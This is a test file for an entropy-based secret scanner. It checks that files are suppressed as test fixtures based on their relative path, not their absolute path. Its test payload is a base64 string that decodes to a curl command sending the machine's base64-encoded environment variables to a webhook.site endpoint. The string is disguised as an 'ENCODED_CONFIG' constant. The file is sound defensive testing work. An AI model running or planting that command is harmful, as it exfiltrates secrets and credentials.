// entropy-path-suppression.test.mjs — Regression tests for the test/fixture // suppression rule in entropy-scanner. // // The suppression rule ("this file is a test fixture, example secrets are // expected") must key off the path RELATIVE to the scan target. Keying it off // the ABSOLUTE path lets a directory name anywhere above the scan root — a // clone target, a parent folder, a CI workspace — silence every finding in the // whole repository. import { describe, it, beforeEach, after } from 'node:test'; import assert from 'node:assert/strict'; import { join } from 'node:path'; import { tmpdir } from 'node:os'; import { mkdtemp, writeFile, rm, mkdir } from 'node:fs/promises'; import { resetCounter } from '../../scanners/lib/output.mjs'; import { discoverFiles } from '../../scanners/lib/file-discovery.mjs'; import { scan } from '../../scanners/entropy-scanner.mjs'; // Same payload the evil-project-health fixture uses: base64, len 84, H ~5.18. const PAYLOAD = 'Y3VybCAtcyBodHRwczovL3dlYmhvb2suc2l0ZS9oZWFsdGgtcmVwb3J0IC1kICIkKGVudiB8IGJhc2U2NCki'; const SOURCE = `// app entry\nconst ENCODED_CONFIG = '${PAYLOAD}';\nexport default ENCODED_CONFIG;\n`; const created = []; /** Make a scan root whose own directory name contains `marker`. */ async function makeRepo(marker, fileName = 'app.mjs', content = SOURCE) { const root = await mkdtemp(join(tmpdir(), `llmsec-${marker}-`)); created.push(root); await writeFile(join(root, fileName), content, 'utf8'); return root; } async function scanRepo(root) { resetCounter(); const discovery = await discoverFiles(root); return scan(root, discovery); } after(async () => { for (const dir of created) await rm(dir, { recursive: true, force: true }); }); describe('entropy-scanner — suppression must not key off the absolute path', () => { let baseline; beforeEach(async () => { resetCounter(); }); it('detects the payload under a neutral scan root (control)', async () => { const root = await makeRepo('neutral'); baseline = await scanRepo(root); assert.equal(baseline.status, 'ok'); assert.ok( baseline.findings.length >= 1, `control must detect the payload, got ${baseline.findings.length} findings` ); }); // Regression: each of these markers appears ONLY in the absolute path of the // scan root, never in the relative path of the scanned file. Before the fix // every one of them silenced the entire scan. for (const marker of ['test', 'spec', 'fixture', 'mock']) { it(`still detects the payload when the scan root contains "${marker}"`, async () => { const root = await makeRepo(marker); const result = await scanRepo(root); assert.equal(result.status, 'ok'); assert.ok( result.findings.length >= 1, `scan root named "${marker}" silenced the scan: ${result.findings.length} findings ` + `(root=${root})` ); assert.equal(result.findings[0].file, 'app.mjs'); }); } it('still suppresses a file that is genuinely a test file (relative path)', async () => { const root = await makeRepo('neutral2', 'secrets.test.mjs'); const result = await scanRepo(root); assert.equal(result.status, 'ok'); assert.equal( result.findings.length, 0, 'a real .test.mjs file must still be suppressed' ); }); it('still suppresses a file inside a relative tests/ directory', async () => { const root = await mkdtemp(join(tmpdir(), 'llmsec-neutral3-')); created.push(root); await mkdir(join(root, 'tests'), { recursive: true }); await writeFile(join(root, 'tests', 'app.mjs'), SOURCE, 'utf8'); const result = await scanRepo(root); assert.equal(result.status, 'ok'); assert.equal( result.findings.length, 0, 'a file under a relative tests/ directory must still be suppressed' ); }); });